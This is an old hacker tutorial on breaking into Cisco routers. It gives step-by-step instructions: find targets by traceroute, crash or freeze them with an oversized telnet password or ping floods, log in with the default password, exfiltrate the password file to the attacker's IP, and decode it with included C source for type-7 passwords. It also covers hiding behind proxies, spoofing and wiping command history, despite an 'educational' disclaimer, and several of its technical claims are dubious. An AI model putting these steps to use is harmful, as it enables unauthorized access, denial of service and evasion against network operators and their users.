Exploiting Cisco Systems Warning: DO NOT use this to damage cisco systems, or gain unauthorized access to systems.

This tutorial is just something to use for educational purposes. Only use this information in a legal way (the hacker wargames for instance), and do not damage or destroy anything. This is a step-by-step guide on how a series of proven cis co exploits can be used to gain access. If you get caught breaking into a cisco router, or screw the system up, you can interrupt hundreds of internet clients, and cost thousands of dollars, so only use this when you are allowed!! Using thi s the wrong way will get you into a lot of trouble. Note: some of this tutorial was written on a Unix system, and the text was not c onverted to be DOS /Windows-compatible, so you'll have to view this text from ei ther your Internet browser, or from an advanced editor such as Microsoft Word. ---------------------------------Table of Contents: ---------------------------------Before you start: - What is an IP address? - What is an ISP? - What is a TCP/IP packet? - How to spoof your IP - How to use Telnet - How to use HyperTerminal - How to use Ping - How to use TraceRoute - How to use a proxy server ------------------------------------- Section 1: why hack a cisco router? - Section 2: how to find a cisco router - Section 3: how to break into a cisco - Section 4: how to break the password - Section 5: how to use a cisco router ----------------------------------Stuff you'll need to know BEFORE you start: ----------------------------------What is an IP address? IP stands for Internet Protocol, IP addresses are used by other computers to ide

ntify computers that connect to them. This is how you can be banned from IRC, an d how they can find your ISP. IP addresses are easily obtained, they can be retr ieved through the following methods: -you go to a website, your IP is logged -on IRC, anyone can get your IP -on ICQ, people can get your IP, even if you have the option set "do not show ip " they can still get it -if you are connected to someone, they can type "systat", and see who is connect ed to them -if someone sends you an email with IP-logging java, they can also get your IP a ddress There are many more ways of obtaining IP addresses, including using back-door pr ograms such as Sub7 or NetBus. -----------------------------------What is an ISP? ISP stands for Internet Service Provider, they are the ones that give you the in ternet. You connect to one everytime you dial-up and make a connection. People c an find your ISP simply by running a traceroute on you (traceroute is later expl ained). It will look something like this: tracert 222.222.22.22 Tracing route to [221.223.24.54] over a maximum of 30 hops. 1 147ms 122ms 132ms your.isp [222.222.22.21] 2 122ms 143ms 123ms isp.firewall [222.222.22.20] 3 156ms 142MS 122ms aol.com [207.22.44.33] 4 * * * Request timed out 5 101ms 102ms 133ms cisco.router [194.33.44.33] 6 233ms 143ms 102ms something.ip [111.11.11.11] 7 222ms 123ms 213ms netcom.com [122.11.21.21] 8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33] 9 122ms 223ms 243ms altavista.34.com [121.22.32.43] <<< target's isp 10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54] Trace comple te. ----------------------------------What is a TCP/IP packet? TCP/IP stands for Transmission Control Protocol and Internet Protocol, a TCP/IP packet is a block of data which is compressed, then a header is put on it and it is sent to another computer. This is how ALL internet transfers occur, by sendi ng packets. The header in a packet contains the IP address of the one who origin ally sent the packet. You can re-write a packet and make it seem like it came fr om anyone!! You can use this to gain access to lots of systems and you will not get caught. You will need to be running Linux or have a program which will let y ou do this. This tutorial does not tell you to use this on a Cisco router, but i t does come in handy when hacking any system. If something goes wrong when you t ry to hack a system, you can always try this...

-----------------------------------How to spoof your IP: Find a program like Genius 2 or DC IS, which will let you run IdentD. This will let you change part of your computer's identity at will! Use this when you get b anned from some IRC chat room.... you can get right back in! You can also use it when you are accessing another system, so it logs the wrong id... -----------------------------------How to use telnet: You can open telnet simply by going to your Start Menu, then to Run, and typing in "telnet". Once you have opened telnet, you may want to change some features. Click on Terminal>Preferences. Here you can change the buffer size, font, and ot her things. You can also turn on/off "local echo", if you turn local echo on, yo ur computer will show you everything you type, and the other computer you are co nnected to will show you as well. So you may get something like this; You type "hello", and you get hhelelollo This is because the information has bounced back and got scrambled with what you typed. The only reason I would use this is if the machine does NOT return what you are typing. By default, telnet will connect to a system on the telnet port, which is port 23 . Now you will not always want to connect to port 23, so when you go to connect, you can change the port to maybe 25, which is the port for mail servers. Or may be port 21, for FTP. There are thousands of ports, so make sure you pick the rig ht one! ---------------------------------How to use HyperTerminal: HyperTerminal allows you to open a "server" on any port of your computer to list en for incoming information from specified computers. To use this, go to Start>P rograms>Accessories>Communications>HyperTerminal. First you will need to select the connection, pick "TCP/IP Winsock", and then put in the computer to communica te with, and the port #. You can tell it to listen for input by going to Call>Wa it for Call. Now the other computer can connect to you on that port, and you can chat and transfer files. ---------------------------------How to use Ping: Ping is easy, just open the MS-DOS prompt, and type "ping ip.address", by defaul t it will ping 3 times, but you can type "ping ip.address -t" Which will make it ping forever. To change the ping size do this: "ping -l (size)ip.address" What ping does is send a packet of data to a computer, then sees how long it takes t o be returned, which determines the computer's connection speed, and the time th at it takes for a packet to go back and forth (this is called the "trip time"). Ping can also be used to slow down or even crash a system if the system is overl oaded by ping floods. Windows 98 crashes after one minute of pingflooding (it's connections buffer is overflown - too many connections are registered, and so Wi ndows decides to take a little vacation). A ping flood attack takes a lot of ban

dwidth from you, and you must have more bandwidth than your target (unless the t arget is a Windows 98 box and you have an average modem, that way you'll knock i t down after approximately a single minute of ping flooding). Ping flooding isn' t effective against stronger targets, unless you have quite a few evil lines to yourself, and you have control over a few bandwidth-saavy hosts that can ping fl ood your target as well. Note: DOS's -t option doesn't do a ping flood, it just pings the target continously, with intervals from one ping to another. In every Unix or Linux distribution, you can use ping -f to do a real pingflood. Actually ping -f is required if you want your distribution to be POSIX-compliant (POSIX - Portable Operating System Interface based on uniX), otherwise it's not a real Unix/Linux distribution, so if you have an OS that calls itself either Unix or L inux, it has the -f switch. ---------------------------------How to use TraceRoute: To trace your connection (and see all the computer's between you and a target), just open the MS-DOS prompt, and type "tracert ip.address" and you will see a li st of computers, which are between you and the target computer. You can use this to determine if there are firewalls blocking anything. And will also allow you to determine someone's ISP (internet service provider). To determine the ISP, simple look at the IP address before the last one, this sh ould be one of the ISP's routers. Basically, this is how traceroute works - a TCP/IP packet has a value in it's he ader (it's in the IP header. If you don't know what this means, then ignore it and continue reading, it's not that c rucial) called TTL, which stands for Time To Live. Whenever a packet hops (trave ls through a router) it's TTL value is decreased by one. This is just a counterm easure against the possibility that something would go wrong and a packet would ricochet all around the net, thus wasting bandwidth. So when a packet's TTL reac hes zero, it dies and an ICMP error is sent back to the sender. Now, traceroute first sends a packet with a TTL value of 1. The packet quickly returns, and by l ooking at the sender's address in the ICMP error's header, the traceroute knows where the packet has been in it's first hop. Then it sends a packet with a TTL v alue of 2, and it returns after the second hop, revealing it's identity. This go es on until the packet reaches it's destination. Now isn't that fun? :-) ---------------------------------How to use a proxy server: Do a search on the web for a proxy server which runs on the port of your choice. Once you find one, connect to it with either telnet or hyperterminal and then c onnect to another computer through the proxy server. This way the computer at th e other end will not know your IP address. ---------------------------------Section 1: why hack a cisco router? You probably are wondering.. why hack into a cisco router? The reason being is that they are useful when it comes to breaking into other sy stems...

Cisco routers are very fast, some with 18 T1 connections on one system, and they are very flexible and can be used in DoS attacks or to hack other systems since most of them run telnet. They also have thousands of packets going through them at any one time, which ca n be captured and decoded... A lot of cisco routers are also trusted systems, an d will let you have a certain amount of access to other computers on it's networ k. ---------------------------------Section 2: finding a cisco router Finding a cisco router is a fairly easy task, almost every ISP will route throug h at least one cisco router. The easiest way to find a cisco router is to run a traceroute from dos (type "tracert" and then the IP address of anyone's computer ), you can trace pretty much anyone because the trace will show all of the compu ter systems between your computer and their computer. One of these systems will probably have the name "cisco" in it's name. If you find one like this, copy dow n it's IP address. Now you have the location of a cisco router, but it may have a firewall protecti ng it, so you should see if it's being blocked by pinging it a couple times, if you get the ping returned to you, it might not be blocked. Another ay is to try to access some of the cisco router's ports, you can do this simply by using teln et, and opening a connection to the router on port 23.. If it asks for a passwor d, but no username, you are at the router, but if it wants a username aswell, yo u are probably at a firewall. Try to find a router without a firewall, since this tutorial is on the routers a nd not how to get past the firewalls. Once you're sure you have found a good sys tem, you should find a proxy server which will allow you to use port 23, this wa y your IP will not be logged by the router. --------------------------------Section 3: how to break into a cisco router Cisco routers running v4.1 software (which currently is most of them) will be ea sily disabled. You simply connect to the router on port 23 through your proxy se rver, and enter a HUGE password string, something like; 10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmx ncb v019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyal skdjfh gzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qp woeirutya lskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk102 93847465qpwo eirutyalskdjfhgzmxncbv019dsk Now wait, the cisco system might reboot, in which case you can't hack it because it is offline.. But it will probably freeze up for a period of 2-10 minutes, wh ich you must use to get in. If neither happens, then it is not running the vulnerable software, in which cas e you can try several DoS attacks, like a huge ping. Go to dos and type "ping -l 56550 cisco.router.ip -t", this wi ll do the same trick for you. While it is frozen, open up another connection to it from some other proxy, and put the password as "admin", the reason for this is because by default, this is

the router's password, and while it is temporarily disabled, it will revert to i t's default state. Now that you have logged in, you must acquire the password file! The systems run different software, but most will have a prompt like "htl-textil" or something, now type "?" for a list of commands, you will see a huge list of commands, some where in there you will find a transfer command, use that to get the password fi le of admin (which is the current user) and send it to your own IP address on p ort 23. But before you do this, set up HyperTerminal to wait for a call from the cisco router. Now once you send the file, HyperTerminal will ask you if you wan t to accept the file that this machine is sending you, say yes and save it to di sk. Logout. You are now past the hardest part, give yourself a pat on the back and get ready to break that password! -----------------------------Section 4: breaking the password Now that you have acquired the password file, you have to break it so you can ac cess the router again. To do this, you can run a program like John the Ripper or something on the password file, an d you may break it. This is the easiest way, and the way i would recommend. Another way would be to try and decrypt it. For this you will need some decryption software, a lot a patience, and some of the decryption sequences. Here is a sequence for decrypting a cisco password, you have to compile this in linux: #include <stdio.h> #include <ctype.h> char xlat[] 0x64, 0x73, 0x41, 0x2c, 0x6b, 0x6c, }; = { 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x64, 0x4a, 0x4b, 0x44

char pw_str1[] = "password 7 "; char pw_str2[] = "enable-password 7 "; char *pname; cdecrypt(enc_pw, dec_pw) char *enc_pw; char *dec_pw; { unsigned int seed, i, val = 0; if(strlen(enc_pw) & 1) return(-1); seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0'; if (seed > 15 return(-1); !isdigit(enc_pw[0]) !isdigit(enc_pw[1]))

for (i = 2 ; i <= strlen(enc_pw); i++) { if(i !=2 && !(i & 1)) { dec_pw[i / 2 - 2] = val ^ xlat[seed++]; val = 0; } val *= 16; if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) { val += enc_pw[i] - '0'; continue; } if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') { val += enc_pw[i] - 'A' + 10; continue; } if(strlen(enc_pw) != i) return(-1); } dec_pw[++i / 2] = 0; return(0); } usage() { fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname); fprintf(stdout, " %s <router config file> <output file>\n", pname); return(0); } main(argc,argv) int argc; char **argv; { FILE *in = stdin, *out = stdout; char line[257]; char passwd[65]; unsigned int i, pw_pos; pname = argv[0]; if(argc > 1) { if(argc > 3) { usage(); exit(1); } if(argv[1][0] == '-') { switch(argv[1][1]) { case 'h': usage();

break; case 'p': if(cdecrypt(argv[2], passwd)) { fprintf(stderr, "Error.\n"); exit(1); } fprintf(stdout, "password: %s\n", passwd); break; default: fprintf(stderr, "%s: unknow option.", pname); } return(0); } if((in = fopen(argv[1], "rt")) == NULL) exit(1); if(argc > 2) if((out = fopen(argv[2], "wt")) == NULL) exit(1); } while(1) { for(i = 0; i < 256; i++) { if((line[i] = fgetc(in)) == EOF) { if(i) break; fclose(in); fclose(out); return(0); } if(line[i] == '\r') i--; if(line[i] == '\n') break; } pw_pos = 0; line[i] = 0; if(!strncmp(line, pw_str1, strlen(pw_str1))) pw_pos = strlen(pw_str1); if(!strncmp(line, pw_str2, strlen(pw_str2))) pw_pos = strlen(pw_str2); if(!pw_pos) { fprintf(stdout, "%s\n", line); continue; } if(cdecrypt(&line[pw_pos], passwd)) { fprintf(stderr, "Error.\n"); exit(1); } else { if(pw_pos == strlen(pw_str1))

fprintf(out, "%s", pw_str1); else fprintf(out, "%s", pw_str2); fprintf(out, "%s\n", passwd); } } } If you do not have Linux, then the only way to break the password is to run a di ctionary or brute-force attack on the file with John the Ripper or another password-cracker. ------------------------------Section 5: using the router To use this wonderful piece of technology, you will have to be able to connect t o it, use a proxy if you do not want your IP logged. Once you have logged in, you'll want to disable the history so n o one can look at what you were doing, type in "terminal history size 0". Now it won't remember anything! Type " ?" for a list of all of the router's commands, and you will be able to use most of them. These routers usually have telnet, so you can use telnet to connect to other sys tems, (like unix boxes) and hack into them. It also is equipped with ping and traceroute, which you can use to tr ace systems or do DoS attacks. You may also be able to use it to intercept packets, but i do not recommend this, as it will not always work, and may get you noticed.... --------------------------------If you don't hack a cisco your first time, don't worry... you probably won't do it the first time, or even the second. It takes practice and patience. This is j ust to show you how... And make sure you are going after something that is LEGAL . Exploiting Cisco Systems (Even From Windows! ;-) )